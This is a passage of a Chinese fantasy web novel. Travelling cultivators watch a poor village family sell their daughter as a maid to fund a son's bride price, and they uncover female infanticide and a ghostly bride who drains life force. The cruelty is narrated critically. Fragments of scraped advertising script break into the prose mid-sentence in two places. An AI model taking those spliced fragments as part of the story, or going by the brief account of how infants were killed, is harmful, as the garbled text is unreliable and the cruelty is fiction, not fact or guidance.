众人歇了一会儿,还没到睡觉的时候。赵大海想起没喂马,便提着粮食口袋出去了。他把炒黑豆倒在槽子里,看着马儿吃了一会儿,伸手摸了摸它们的鬃毛,道:“赶路辛苦了,好好歇歇吧。” 他喂完了马,经过主屋跟前时,听见里头有人说话。李母道:“他爹,你说外头来的那些人怎么样?” 她提到了自己这些人的事,赵大海便站住了脚,悄悄听他们要说什么。 李父抽了一口旱烟,眯着眼道:“一群少爷小姐,还修道,修个屁的道。老子要是有他们出身这么好,天天在家享清福,出来吃这个苦干什么!” 李母道:“哎,当神仙比当人还好呢,不过那些人里头有几个应该挺有钱的。带头的那小子粗手大脚的一副穷样,他身边那个白净的公子倒是看着挺贵气,还有那个穿红的丫头,好像也是有钱人家的闺女。你说她住在这儿,咱能不能撮合咱家亮子跟她处一处?” 李父方才在外头跟李玉真闲聊了两句,知道了一些他们的事,觉得老婆吃了熊心豹子胆。他把烟杆一搁道:“那丫头的爹是货真价实的大将军,小时候太后娘娘给她喂过饭,从小跟皇子一起长大的。她能相中你儿子什么,相中他脾气大,还是相中他不洗澡?” 李母没想到那丫头出身这么高,片刻不甘心道:“咱们亮子也挺好的,你这个当爹的怎么不给他涨志气呢?” “你可有点数吧,”李父道,“刚才我还看见她放猫挠亮子呢。咱家供不起这尊大佛,找这个气受干什么。” 李母道:“那你想怎么办?” 李父道:“踏踏实实给他找一个差不多的,你之前不是去拜过琼娘娘了吗,跟她讨一个不就是了。” 李母焦躁道:“彩礼钱不够啊。琼娘娘要三十两银子,就这咱家还拿不出来呢。” 李父道:“拿不出来就等下一茬呗,你还能去抢不成?” 李母道:“下一茬可就得等明年了。亮子都二十三了,别人家儿子这么大的时候孙子都抱俩了,你怎么就一点都不急呢?” 李父也发起了脾气,道:“我这不是天天出去找活干么,这破地方这么穷,你逼我有什么用啊!” 两个人的影子投在窗户上,张牙舞爪的显得格外可憎。李母怂恿道:“那你去借借,不是还有亲戚吗?” 李父道:“咱家都欠了一百多两外债了,谁借给咱们?” 李母叹了口气,恨恨地说:“都怪那臭丫头,光吃不挣钱,长这么大一点用也没有!” 他们只觉得女儿不好,却看不见儿子有多好吃懒做。赵大海想起了自己的家人,也跟这差不多,一提钱就吵架,吵到最后就拿小妹当替罪羊。 屋里二人沉默了一阵子,李母有了主意,道:“那些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少爷小姐这么有钱,咱跟他们商量商量,问他们要不要买丫鬟?” 李父原本靠在床头,忽地坐直了道:“什么意思,你要把结香卖了?” 李母倒是会说话,道:“也不是卖,就是给她找个好前程。他们都这么有钱,肯定对丫鬟挺好的。要是以后哪个少爷收她当个通房,她再给人家生个儿子,这不就一辈子衣食无忧了么。” 她这么盘算着,好像以后连人家的家产都能接手过来了。李父沉默了一阵子,觉得不管怎么样,家里能少张嘴吃饭也是好的,道:“他们要是不要呢?” 李母感觉美梦还没做多久就破灭了,她低声道:“……村头老孔跟我说了好几次,想娶咱们结香过门,彩礼也能给二十两银子。” 李父睁大了眼道:“就那老光棍,你怎么想的,他都跟我差不多大了!” 李母也有点不情愿,道:“那怎么办,反正后天之前得凑齐三十两银子,交不上琼娘娘就给别人送媳妇了。” 李父叹了口气,也一筹莫展,道:“反正都是卖,还是卖给这些过路的年轻人好些。” 李母听丈夫也这么说,道:“那我明天问问他们去。” 她这么说着,心里有了些安慰,觉得自己给女儿找了个好前程,还是个疼孩子的娘。可没着落的时候,她又瞧着闺女横竖不顺眼,把她卖给半截身子埋土里的老头儿也不含糊。 赵大海听了他们的话,想起了自己老家的妹妹,心里很不好受。他叹了口气,也不知道自己出来这段时间,母亲和二弟有没有为难小妹。 他回到了屋里,静静地躺了一会儿,总是睡不着。其他人还在三三两两地聊天,没人注意到他。赵大海爬起来,拿出了钱袋子,对着灯光看自己的钱。先前他们给人值夜,每个人分了三十五两银子。他寻思着自己留下十五两银子就够生活的,先拿二十两银子给那姑娘救救急,免得她被家里人卖了换彩礼。 赵大海也知道自己这样纯属多管闲事,但这姑娘实在太可怜,让他想起了自己的小妹子。他若是没遇上就算了,一旦遇见了,实在没办法置之不理。 伏顺凑过来,道:“你干嘛呢?” 赵大海没说什么,揣着钱站了起来,沉默着出门去了。伏顺觉得有点奇怪,想了想,悄然跟了过去。赵大海到了宋胡缨住的地方,敲了敲屋门,道:“宋姑娘,你睡了吗?” 宋胡缨刚洗完了澡,换了一身家常穿的白绸袄,粉色裙裤,正坐在屋里梳头。 结香蹲在屋角,手里拿着一叠高粱煎饼,掰碎了泡在碗里喂给小对眼。她家不让养这些没用的东西,结香虽然喜欢猫,只能远远地看看别人家的。她今天还是头一次真正地摸到猫,觉得毛茸茸的,特别满足。 宋胡缨头发还有点湿,出门道:“没呢,有事么?” 赵大海道:“你能过来一下吗,我有话跟你说。” 宋胡缨手里还拿着镶金的玳瑁梳子,和他一起到了丝瓜架下面,站在院子的一角。赵大海低声道:“明天要是这边的主人家问你要不要丫鬟,你能不能把李姑娘收下?” 宋胡缨十分诧异,道:“怎么回事?” 赵大海语无伦次的,花了好一番功夫才把事情说清楚。他从怀里掏出二十两银子,道:“那老光棍就出二十两银子,我想二十两应该够了。” 宋胡缨觉得这人也太老实了,道:“你出钱,怎么不自己买?” 赵大海摇了摇头,不想让她知道,道:“她会害怕的。你们都是女孩子,她跟着你就很好。” 他的嘴虽然笨,心却很朴实,粗犷的外表下有种让人意想不到的善良。宋胡缨有些动容,下意识回头看屋里。结香的剪影映在窗户上,双手举着小对眼,正在逗它,完全不知道父母已经打算把她卖掉了。 “行吧,”宋胡缨道,“我正缺个梳头的丫鬟,他爹娘要是来问,我就留下她。” 赵大海道:“那这钱你收着。” 宋胡缨轻轻一笑,道:“姑娘有的是钱,雇丫鬟还用得着别人来掏钱么?” 赵大海十分高兴,道:“谢谢你,宋姑娘,我就知道你是好人!” “是你心地好,”宋胡缨温和道,“不早了,回去吧。” 次日上午,宋胡缨抱着小对眼在客房坐着。李母端了一壶茶,过来敲门道:“几位贵客,喝茶吗?” 段星河他们刚收拾了屋子,打开窗户通风。伏顺盘着腿坐在睡袋上,步云邪坐在椅子上,一见主人来了,便都站起来了。 段星河道:“多谢大婶,放这儿吧。” 李母放下了茶壶,还不想走。她看向了宋胡缨,赔笑道:“小姐昨天歇的可好?” 宋胡缨淡淡道:“还好。” 李母道:“小姐一看就金贵的很,出门没带个丫鬟,生活不太方便吧?” 宋胡缨知道她要说什么了,淡淡道:“还行。” 她虽然艳若桃李,脾气却冷若冰霜。李母有点尴尬,不知道有钱人家的大小姐是不是都这样,说话两个字两个字往外蹦的。她心里寻摸了两个人,如果宋胡缨不要的话,她就问问步云邪,这小公子看起来温文尔雅的,女儿跟了他绝对不亏。 她道:“我家香儿你们几位都见了,模样好,人又勤快,脾气也柔顺。我这个当娘的想帮她谋个差事,不知道几位缺不缺伺候的人?” 赵大海站在一旁跟宋胡缨使眼色,昨天她都答应自己了。但宋胡缨觉得李母眼里只有钱,不想太如她的意,便沉默着卖了个关子。 伏顺十分诧异,道:“什么意思,这么好的闺女你们不要了?你知道我们干什么的就让她跟我们走?” 李母不管他们是干什么的,只要给钱就行。她道:“我当家的说,几位小道长都是修仙的好人。香儿跟着你们能学点本事,比在家里强多了。我们没什么见识,不想耽误了女儿的前程,几位看怎么样?” 伏顺有点蠢蠢欲动,道:“要多少钱?” 赵大海拿胳膊肘捣了他一下,觉得伏顺不靠谱,不想让他掺和进来。伏顺叫道:“干什么,窈窕淑女君子好逑,我正缺个媳妇呢!” 李母觉得他比步云邪差太多了,看起来贼眉鼠眼的,对他很不满意。但步云邪坐在人群后,翘着腿双手搭在膝上,一直一言不发,好像对这件事不感兴趣。她只好道:“八十两银子。” 伏顺有点失望,他只有三十五两,但比起在老家娶媳妇也便宜多了。结香生的温柔漂亮,他心里喜欢得很,也想逞一回英雄。他低声道:“大傻,借我点?” 赵大海道:“行了吧,你养活得起么?” 伏顺心想也是,又觉得亲生母亲来卖女儿,实在让人伤心。也不知道结香知不知道,心里是怎么想的。 宋胡缨摸着小对眼,淡淡道:“那丫头没什么本事,跟着我们也是个累赘,不要。” 李母顿时慌了,她虽然一直觉得自己的女儿是个赔钱货,但过了这个村就没这个店了,贱价卖了也比砸在手里强。她连忙道:“这丫头会做饭、能缝补、会洗衣裳,还会种地,力气不小的。要不这样,六十两,不能再少了。” 赵大海没想到她要这么多钱,露出了为难的神色。私底下他们分明二十两都舍得卖的,看来是瞧准了自己这些人傻钱多了。 宋胡缨寻思着钱给多了就便宜她哥,省下这个钱给结香买两身好衣裳不好么?她无所谓道:“三十两吧,我看她笨手笨脚的,伺候人的规矩还得慢慢教,要费我不少功夫呢。” 她轻描淡写的就对半砍了一刀,果然女孩子都擅长讨价还价。李母感觉这些人比想象的难对付,但总比卖给老光棍强多了。她一咬牙道:“亏就亏点吧,几位都是好人,让她跟你们我放心!” 她觉得给女儿谋了个好前程,欢天喜地的要去告诉丈夫。她刚出门,就见结香站在外面,竟是已经把他们的话都听见了。 结香的脸色苍白,眼睛里含着泪,哑声道:“娘……我能给家里干活,你为什么卖我?” 李母有些心虚,看着女儿难过的模样,一时间一句话也说不出来。 61.琼娘娘 三 李母陡然面对女儿,也不知道该怎么解释,可一想起了三十两聘礼钱到手,又振奋起来。 她露出了欢喜的笑容,热切道:“好闺女,娘给你谋了个好差事。宋大小姐愿意收你当个丫鬟,以后你就跟着她修道,好好侍奉她,听见了没有?” 母亲的欢喜有种不顾别人死活的炽热,无视良心,也不允许任何人来改变她的决定。结香眼里含着泪水,不敢相信母亲就这么把自己给卖了。她一向逆来顺受惯了,即使这样也不敢抗争,只是绞着衣裳低下了头,站在角落里一动不动。 母亲也不敢跟她多说什么,快步去找丈夫了。片刻李父和大儿子出来了,都笑呵呵地说:“恭喜啊,结香,谋到好前程了。这不比在村里嫁人强么?” 结香咬着嘴唇没说话,宋胡缨是个好女孩儿,跟着她走也算脱离了火坑,但家人这种态度让她十分难过。他们一个个都面露笑容,庆幸甩脱了一个包袱,根本没有人在乎她。结香的眼泪落了下来,迅速地擦了一下眼睛。李亮嫌弃地看着她,道:“哭什么哭,你这个丧气鬼,怎么这么不识好歹?” 宋胡缨怕他们暗地里把结香再卖一道,拿出了纸笔道:“立字据吧。” 李玉真小声道:“写卖身契?” 宋胡缨嗯了一声,透着一股子冷漠无情的劲儿。这家人也不指望闺女能过得好,宋大小姐越难伺候,他们心里反而越舒服。李玉真道:“那我来吧。” 他寻思了一下,提笔写道:“李结香自愿卖身给宋家为奴,伺候宋家小姐梳妆、点香扫地、烹茶洗衣,任劳任怨。尊奉主人差遣教训,不敢有违。出门在外,山高路远,死生不怨,特此立据。” 他写完了,递给了李家人。李父接过去都拿倒了,跟满篇的字相了半天面,放弃地递给了大儿子,道:“你看看。” 李亮装模作样地看了半天,道:“李结香白……门……山……不……” 他只认得几个最简单的字,连学堂里的小学生都不如。李玉真叹了口气,接了过去,给他们缓缓地念了一遍,道:“有异议吗?” 李家人互相看了一眼,觉得没什么问题。李玉真便道:“那画押吧。” 李父咬破了手指头,犹豫了一下,按下了手印。结香的眼泪顿时落下来了,哑声道:“爹……” 李父也不敢看她,摆了摆手,示意她过去按手印。李母劝道:“好闺女,娘是为了你好,以后你就明白了。” 结香提起毛笔,颤抖着写下了自己的名字。宋胡缨把卖身契收了起来,掏出了三十两银子递给李母,道:“钱货两讫,以后她就不是你家的人了。” 李母攥着钱,一心想着儿子的婚姻大事有着落了,欢喜的不得了,道:“好好好,结香好好伺候宋大小姐。这不是双喜临门吗,女儿的前程有着落了,儿子也能娶媳妇了,好得很、好得很!” 李家人脸上都带着笑容,段星河他们的神色却都有些沉重。太阳刚刚升起来,晨雾还没散尽。李母有了钱,马上就想去找琼娘娘。她回屋收拾了一下,和丈夫一起出了门,马不停蹄地去给儿子张罗婚事了。 众人来到了客房,结香也没想到遇上了他们,自己的人生会发生这么大的改变。 但若不是他们肯收留自己,母亲怕是要把自己卖给同村的懒汉了。她心里十分难过,又有些胆怯,小声道:“宋姑娘,我以后会好好伺候你的。” 宋胡缨一改刚才冷酷无情的模样,露出了淡淡的笑容,道:“不用这么紧张,你就跟我做个伴儿就行了。以后每个月我给你二两银子工钱,你还有什么要求么?” 结香没想到宋大小姐还给自己月钱,心里十分感动。他们明明是外人,对自己却比家里人好多了。她眼里藏着泪花,道:“多谢宋大小姐,我是上辈子积了德才会遇到你们!” 宋胡缨下意识看了一眼赵大海,想说是他来求的自己。赵大海却摇了摇头,示意她别说。他只是看到有人身在泥潭里,想要拉一把,没想着挟恩图报。他生的像一块大石头一样,却长着一颗温柔的心。 宋胡缨道:“我们要去巴蜀,我老家在大新,以后要回都城去。等这些事忙完了,你要是有想要去的地方,我也可以送你去。” 结香意识到她的意思是以后还会给她自由身,十分意外。她垂下了眼,有些向往,又有些不安。这个世界这么大,离开了他们,自己也不知道该怎么过,总不能再回到这火坑里来。 李玉真觉得宋胡缨得了个好丫鬟,很替她高兴。方才见她在纸上写了自己的名字,字迹还挺工整。他道:“李姑娘,你识字么?” 结香点了点头,又摇了摇头,小声道:“村子里原来有个教书先生,在村口开了个学堂,男孩儿女孩儿都教,半年带一斗高粱去就行了。我跟先生认了些字,我哥本来也去的,后来他说念书太累了,就不去了,娘就也不让我学了。” 李玉真诧异道:“还教女孩儿,那先生挺开明的啊,他现在还教人念书吗?” 结香的神色黯然,遗憾道:“他前年就过世了。先生是个好人,常说有教无类,无论贩夫走卒、男人女人,都有念书识字的权利。但是村子里的人说他是个疯子,不能这么抬举女人,要不然就反了天了。” 李玉真皱起了眉头,这地方连男人都不怎么读书,自然也不愿意让女人超过他们。结香想起了从前的事,有些怀念,道:“先生跟我们说,他从前到处游历,经过巴蜀时见过一个住着自梳女的村子。那里的姑娘一辈子不嫁人,跟姐妹们住在一起,会弹琴、纺织、耕地,还会写一种又细又长的文字,叫女书,只有女孩子才认得。要是以后有机会,我想去那里,跟她们一起生活。” 伏顺本来还想跟这丫头朝夕相处的,说不定能把她哄上手,没想到人家根本就不想嫁人。他有些失望,道:“年纪轻轻的,别这么灰心丧气的嘛,世上还是有好男人的。” 赵大海点了点头,道:“好男人是有,反正不是你。” 伏顺感觉他一直给自己拆台,好像护亲妹子似的护着结香。他有点吃味似的道:“喂,你向着谁的?” 赵大海一副无辜的模样,道:“我就是说实话而已。” 结香这么能勤快能干,却受了这么多不公平的对待,很让人心疼。宋胡缨给她整了整衣领,温声道:“那以后我送你去。要是你改主意了,想要嫁人,我也给你出嫁妆。” 结香心头一酸,忍不住落下泪来,道:“多谢小姐。” 宋胡缨给她擦了擦眼泪,温声道:“以后咱们就是一家人了,别动不动谢来谢去的。” 他们在这儿说话,李亮还在自己屋里睡大觉,父母拿了钱就出门了。赵大海道:“你爹娘上哪儿去了?” 父母一直念叨着大儿子的婚事,结香道:“应该上山里找琼娘娘去了,她能给村里人送媳妇。下完了聘礼,还要去置办三金,扯红布,怎么着得花一天功夫。” 宋胡缨一脸茫然,道:“什么三金?” 她是大将军家的千金小姐,成亲都是凤冠霞帔,黄金头面都有好几套,出嫁必然是十里红妆,不知道这些民间的讲究也很正常。结香道:“三金就是除了钱之外,男方家里要出三件金首饰给新媳妇,一般是金项链、金戒指、金耳环。” 步云邪道:“不是金镯子,金项圈,金凤钗吗?” 伏顺失笑道:“哥,你那得花多少钱?我们穷人凑三个小件儿就行了。” 步云邪喔了一声,显然觉得成亲一辈子就一次,这么扣扣搜搜的太亏待女方。结香道:“我娘有金耳环,戒指和项链挑细的买,应该也花不了多少钱。反正给琼娘娘的钱够了,新媳妇也不会说什么。” 段星河有些好奇,道:“琼娘娘是谁?” 结香想了想道:“我们村里本来有个张大娘,剪纸剪得很好,我们过年常去找她买窗花。半年前她生了一场病,醒来之后就说自己能通灵了,给人算卦极准。她一个人住在深山里,自称是琼娘娘。” 段星河道:“穷富的穷?” 结香拿手指沾了点茶水,在桌子上写给他看,道:“她叫张琼花,这个琼。” 段星河喔了一声,彼时立堂口供养出马仙的人不少,有真有假的,也不好评价。但一般都是给人查查上辈子的阴债,看看八字什么的,送媳妇的还是头一次听说。 他道:“她是怎么给人介绍媳妇的?” 结香寻思了一下,道:“今年年初,有个人去她那儿许愿,想要个漂亮的媳妇。别人都笑话他做梦,但琼娘娘居然答应了。让他一个月之内带三十两聘礼去,那人想媳妇想疯了,还真给了钱。隔天傍晚就有人抬了一顶小轿子,把新媳妇送到了他家里。” 众人都觉得不可思议,好像听了什么怪谈。这媳妇就像是从天上掉下来的一样,从头到尾她家里人也没出过面。结香道:“当时村子里的人激动的不得了,说琼娘娘是真大仙,都去找她排队求媳妇。我家运气好,抽签抽到第五个。不过有个条件,新媳妇白天不能见人,只能晚上出来干活,生了儿子才能出来。” 段星河皱了一下眉头,道:“是不是拐来的?” “不知道,”结香道,“那媳妇呆呆的,我见过,不说话,好像也不怎么吃饭,就知道闷着头干活儿。” 李玉真道:“她愿意嫁过来么,没闹着要走?” 结香摇了摇头,道:“嫁过来就一直安安静静的,没逃跑过。” 伏顺啧了一声,道:“不哭不闹,光干活不吃饭,还能生儿子,他们不就喜欢这样的么。” 赵大海觉得这也太不对劲了,养头牲口还得喂草料呢。他道:“只出不进,那不是死人吗?” 结香也觉得瘆得慌,可这里的人觉得自己穷成这样,能娶到媳妇就很不错了,根本不认为有什么问题。她低声道:“嫁过来的四个媳妇,差不多都是这样的,而且过门一阵子家里就有人生病。最早娶到媳妇的那家儿子已经病了一个多月了,公公也病了。她婆婆整天骂她丧门星,她就这么听着,不哭也不走,好像没有娘家似的。” 这村子里家家户户都要生儿子,到了成婚的年龄又找不到年轻姑娘,一个个都拖成了光棍,便把希望寄托在了琼娘娘身上。就算这件事到处都透着诡异,他们也视而不见。 李亮倒是心挺大,觉得娶媳妇跟买菜似的,交上钱就送家里来,到现在还在屋里呼呼大睡。结香却显得忧心忡忡的,道:“我觉得那媳妇有点古怪,你们都是修道之人,能不能帮忙掌掌眼,看看到底是怎么回事?” 她爹娘哥哥从来就没把她当成自家人,她却还替他们担心。段星河觉得这小姑娘心也太善了些,道:“你都要跟我们走了,还管他们干什么?” 结香道:“他们毕竟是我爹娘,我不能不管他们啊。” 段星河叹了口气,也觉得事情蹊跷得很。他寻思着那小媳妇晚上才能出来,便道:“等会儿太阳落山了,你带我们去看一眼吧。” 众人白天歇了一日,傍晚时分跟着结香去了头一户买媳妇的人家。众人悄悄地猫在矮墙后面,石块垒成的院墙中间有缝隙,能看见里头的情形。天晚了也没人注意,他们就躲在墙根边往里窥看。 院子里到处都是尘土,一个十七八岁的小媳妇穿着一身粗布衣裳,头上裹着条黑头巾,外面又戴着个大斗笠。就算已经黄昏了,她还捂得这么严实,实在有些奇怪。 结香说,琼娘娘不让新媳妇白天出来。段星河还以为那些姑娘是被拐过来的,怕白天偷偷跑了,如今一见好像又不是那么一回事。她好像很怕阳光,动作举止也呆呆的,感觉跟一般人不太一样。 伏顺低声道:“你看她眼神,怎么这么木啊。” 赵大海也觉得不对劲,道:“是不是拐来之后被药傻了,那琼娘娘害的?” 那小媳妇仿佛听见了他们的声音,朝这边看过来。众人吓了一跳,连忙弯下了腰,藏在阴影里不出声了。 她静了片刻,又扫起了地。哗——哗哗—— 婆婆出来了,见她把尘土溅了起来,挥着手咳嗽了几声,嚷嚷道:“你这小贱人,连个地都扫不好,干什么能行?” 小媳妇挨着骂也没停下,继续扫着地,弄得尘土漫天飞扬。说她是故意的吧,她又扫得很专注,好像就是单纯的笨拙,而且对人情一窍不通。 婆婆气不打一处来,伸手扭她耳朵。小媳妇也没叫疼,歪着脑袋被婆婆拽了几步,手里的笤帚掉到了地上。婆婆用力打了她几下,道:“一天到晚不说话,跟哑巴似的。自从娶了你进门,家里就开始倒霉。你个克人的丧门星,还花了我三十两银子,赔钱货!” 她骂别的,小媳妇一点反应也没有。可她一骂赔钱货,那小媳妇忽然抬起头来,盯着她痴痴地笑了起来。 这地方管闺女才叫赔钱货,她好像觉得婆婆把自己当成了亲闺女,还挺高兴的。 婆婆看她这样,越发恼火了,道:“怎么娶了你这么个傻子,又见不得人,脑子还不好使!骂你还笑,笑个屁!” 其他人在外头看的恼火,觉得这也太欺负人了。那小媳妇却没什么所谓,捡起了笤帚,又开始扫起地来。众人互相看了一眼,觉得没什么好看的了。段星河一招手,大家就跟着他回去了。 李家堂屋里点着灯,结香的父母已经回来了。他们白天给琼娘娘送了彩礼,又置办了结婚要用的东西,说明天新媳妇就送上门来了,一家人都喜气洋洋的。 众人十分诧异,伏顺道:“这么快?” 结香想着刚才看到的情形,眉头微微皱着,有些忧虑。李亮睨了她一眼,道:“怎么了,我要成亲,你不高兴?” 结香低头道:“高兴的。” 李亮看她横竖都不顺眼,骂道:“高兴你还耷拉着个脸,丧气鬼!” 母亲快步走过来,道:“香儿,明天你哥成亲,家里人要全才有全福,你可不能走啊。” 结香点了点头,道:“等会儿我去跟宋大小姐说,请他们再留一天。” 母亲这才满意了,道:“去做饭吧。” 结香去了厨房,一会儿烧起火来,开始叮叮当当的炒菜。其他人待在客房里,段星河道:“刚才那小媳妇,你们觉得怎么样?” 步云邪沉吟道:“肉身是假的,魂儿倒是真的。” 李玉真也感觉到了,道:“好像是有执念,主动来找他们的。” 伏顺还以为那些都是从外头拐来的姑娘,没想到村民费了这么大劲儿张罗,娶来的都不是活人。他有点害怕,道:“找他们干什么?” 步云邪淡淡道:“自然是来找他们报仇的。你不在他们的因果之内,怕什么?” 伏顺就怕被祸及无辜,搔了搔头道:“我就是个过路的,不管闲事,闲事也别来找我的麻烦。” 宋胡缨有点为难,道:“那结香怎么办,她家里人可要倒霉了。” 段星河扬起嘴角一笑,道:“顺其自然呗。他们钱都花了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,你说娶不得,人家不跟你急眼?” 好言劝不住该死的鬼,这些人能走到这一步,也不是一天两天积恶所致。他们不把新媳妇当人,那就娶个不当人的,正合他们的心意。 其他人也觉得这家人不是什么好东西,不想干涉他们的事。步云邪道:“他们明天就成亲了,咱们留下么?” “留下来观礼吧,”段星河淡淡道,“后天就走,他家人出事也不在这一两天,到时候也跟咱们没关系了。” 次日一早,李家人把家里打扫了一通,又在窗户上贴了几个大红窗花和喜字。窗花剪得活灵活现的,据说是琼娘娘给的,她当神婆之前就靠这个为生。伏顺端详着一个喜鹊登枝的窗花,道:“你别说,这老本行干的是不错啊。” 吃完了早饭,段星河没什么事,打算出门问一问小雨的下落。步云邪跟他一起出了门,两人走在村子里,见了人便拿出画像,打听有没有见过这样一个小女孩儿。村民们都摆了摆手走开了,一个中年男人停了下来,看了一眼道:“是个女娃娃啊,丢了不正好么,还找什么找?” 段星河十分诧异,不知道他怎么能说出这样的话来的。他道:“这是我小妹子。” 那人喔了一声,显然误会了他的意思,道:“养这么大,都快能换亲了,丢了是挺可惜的。” 他们眼里没有亲情,只有白花花的银子,简直都穷疯了。段星河有点恼火,那人懒懒地挠着肚皮,一步三晃地走远了。步云邪道:“别跟他们一般见识,这里人都不正常。” 两人经过一个大水塘,水里生满了绿藻,又混着泥浆,看起来很浑浊。段星河道:“这就是他们说的村后湾?” 步云邪把一块小石头踢进去,溅起了一串水花,这水塘还挺深的。几个妇女抱着木盆从旁边经过,要去别处洗衣裳。段星河觉得有点奇怪,一般有水的地方都有人,这里却阴气森森的,大家宁可绕原路也不愿用这里的水。 正在这时候,就听有人喊道:“段公子、步公子。” 两人回过头去,却见结香从前头过来了,她娘打发她去屠户家拿昨天定好的猪肉。她挎着一篮子青菜豆腐和几斤猪肉往回走,就见他们站在村后湾跟前发呆。她快步走过来,道:“你们在看什么?” 水塘上有股阴沉的怨气,一缕缕黑色的气息升腾着,好像要倾诉什么。一般人虽然看不见,也能感觉到一股不舒服的气息。段星河道:“没什么,从这边经过而已。” 结香低声道:“别靠近这里,大家没事都不上这儿来。” 段星河道:“为什么?” 结香显得有点害怕,示意他们先跟自己往回走。离开了一段距离,她才道:“这里不吉利。” 段星河道:“怎么个不吉利法?” 结香沉默了片刻,道:“很多人在那里溺死过婴儿。村子里的老人说,把针扎进脑顶心,把想来投胎的女鬼镇住。淹死了女婴,下一个就来男孩。” 步云邪十分吃惊,道:“都是自己亲生的孩子,怎么舍得下这么狠的手?” 结香低声道:“这村子里的人都是这么做的,我哥哥上面……就溺死过一个姐姐。” 她脸色很不好看,觉得自己也差一点就被淹死了。她娘天天说家里肯把她养大,是发了天大的善心,还让她感谢哥哥,要不是上面有个男孩儿了,她生下来还是要被溺死的。 段星河和步云邪都不能接受,一时间说不出话来。结香道:“我娘还跟我说过,小孩儿的头盖骨是软的,很容易就扎进去了,让我以后要是生了女孩儿也别手软。” 这是这个地方每个人心照不宣的秘密,她想起母亲说起时洋洋得意的模样,感觉有些反胃。她亲手杀了自己的孩子,还笑得出来。结香不知道母亲是怎么想的,她满口说着爱,却做着这样的事。仿佛只要成为了男人的帮凶,她就摆脱了女人的身份,身上的压迫感也不那么重了。 步云邪皱着眉头,觉得这地方的人真的是没救了。段星河的脸色也很不好看,想起了刚来时卖鸭蛋的婆婆的话,难怪她说鸭子都是在小浔河放的,不是在村后湾放的,原来是嫌这里沉着女婴的尸骨晦气。 李家人忙活了一天,准备好了成亲的事,直到下午才停下来。 李亮穿着一件大红褂子,黑裤子,脚上是一双崭新的黑布鞋。他上午特地洗了个澡,搓去了积攒大半年的滋泥,把油腻的头发也洗干净了。他头上簪着朵大红花,笑的见牙不见眼,颇有种扬眉吐气的感觉,恨不能让所有人都来瞧一瞧,自己这万年光棍也能娶上媳妇了! 李父去门前放了一串鞭炮,宣告老李家有大喜事了。他家平常不为人,没有亲戚来随份子。幸好段星河等人借住在这里,起码捧了个人场。周围的街坊听见了鞭炮声,三三两两地出来瞧热闹,都拢着袖子站的远远的,一副似笑非笑的表情,好像有些嫉妒他们,又不怎么看好这桩婚事。 天色将近黄昏,一顶小轿子抬到了李家门前。几个轿夫都穿着一身黑,头上包着黑头巾,遮着大半张脸,看起来神神秘秘的。有人掀起了轿帘,一个穿红袄的小媳妇迈步走了出来。她蒙着红盖头,看不见长什么模样,身段倒是十分窈窕,不但长着个水蛇腰,还有个宽胯大屁股,完全符合这里人的审美。 李亮心痒难耐,忍不住弯下腰往盖头里看。那小媳妇登时往后退了一步,红盖头不住动荡。李母哈哈地笑了,道:“还会害羞,别怕,嫁过来这里就是你家了。” 刚才动的那一下,新娘子的半张脸露了出来。段星河在一旁看见了,只觉得她脸色煞白,嘴唇涂的鲜红,却好像毫无生气。那几个轿夫送了新娘,也没讨喜钱,沉默着扛起轿子就走了。一队人在黄昏中渐行渐远,身影黑乎乎的,透着一股说不上来的诡异。 李母倒不觉得有什么问题,家里舍不得雇喜婆,她亲自上前牵住了新媳妇的手,要扶她跨火盆。 新媳妇看见了盆里冒着火星子的碳,不住摇头。李母不知如何是好,道:“闺女,你不跨火盆怎么成亲啊?” 新媳妇就是不肯往前走一步,反而向后退去。 李父发话道:“亮子,把你媳妇背过去。” 李亮寻思人总有一怕,可能她就是怕火,也没什么大不了的。他过去把她背了起来,小媳妇惊呼了一声,一只手揽住了李亮的脖子。众人哄笑起来,觉得小夫妻虽然是头一次见面,还挺亲的。 李亮背着媳妇,心里醉陶陶的,感觉她轻的就像一片纸一样。他大步迈过了火盆,走进了堂屋。屋里正中贴着个大红喜字,李父在上首坐下,也舍不得请司仪,招了招手道:“拜吧,不讲究那么多了。” 小夫妻拜了三拜,算是成了婚。这媳妇乖巧又安静,没有想象中的哭哭啼啼,也不怎么闹腾。李亮的嘴都快咧到耳后根去了,觉得自己的人生已经圆满了。 段星河等人在一旁看着,带着捧场的微笑。满屋的灯烛把每个人都照的红光满面,李亮的眉心却笼着一层青气。李玉真拢着袖子,悄然道:“兄弟,这可不太妙啊。” 步云邪面带微笑,声音却是冷的,道:“人家大喜的日子,你说什么丧气话?” 李玉真道:“为了娶媳妇,连命都不要了?” 步云邪淡然道:“飞蛾扑火,死了也心甘情愿。人家愿意,咱们有什么好说的。” 李玉真便沉默下来,看着李亮放声大笑的模样,觉得人各有命。他现在多开心一阵子也挺好的,反正也笑不了多久了。 62.琼娘娘 四 夜深了,村子里静悄悄的,天上几点寒星照着大地,有些寥落。 段星河从睡袋里钻出来。伏顺也一直没睡着,睁开了眼睛,低声道:“大师兄,你干嘛去?” 段星河道:“解手。” 伏顺坏笑道:“解什么手。你是要听墙根吧,咱们一起啊?” 段星河一脸冷淡道:“你想听别赖我,我就是单纯的上个厕所而已。” 伏顺挠了挠头,还在犹豫要不要去偷听。段星河已经绕过睡袋,悄然推门出去了。 新房的窗外贴着个大红喜字,里头传来一阵阵鼾声,李亮已经睡着了。段星河上完了厕所,在屋侧的一块大石头上坐下了。洞房里透着一股强烈的阴气,主人家却毫无知觉。大喜的日子,段星河到底不想见人死在自己面前,既然还没走,打算把子时守过去。 他坐了片刻,正有些困倦,忽然听见吱呀一声响,那个小媳妇从屋里出来了。 她披散着头发,穿着红棉袄,停在了院子中央,仿佛在等什么人似的。段星河屏住了呼吸,就见一道黑气不知从何而来,忽忽悠悠地漂浮在半空中。 小媳妇张开了嘴,吐出一团柔和的白光。段星河睁大了眼,那是活人的生气,损失了轻则生病,重则夭寿,应当就是她从李家人身上吸来的。她就像鸟类吐哺一般,把精气喂给了那团黑雾。 小媳妇投在地上的影子只有薄薄的一片,就像纸一样。段星河意识到这小媳妇可能真的不是人,眼前的这团黑雾妖力十分旺盛,恐怕就是琼娘娘的本体了。 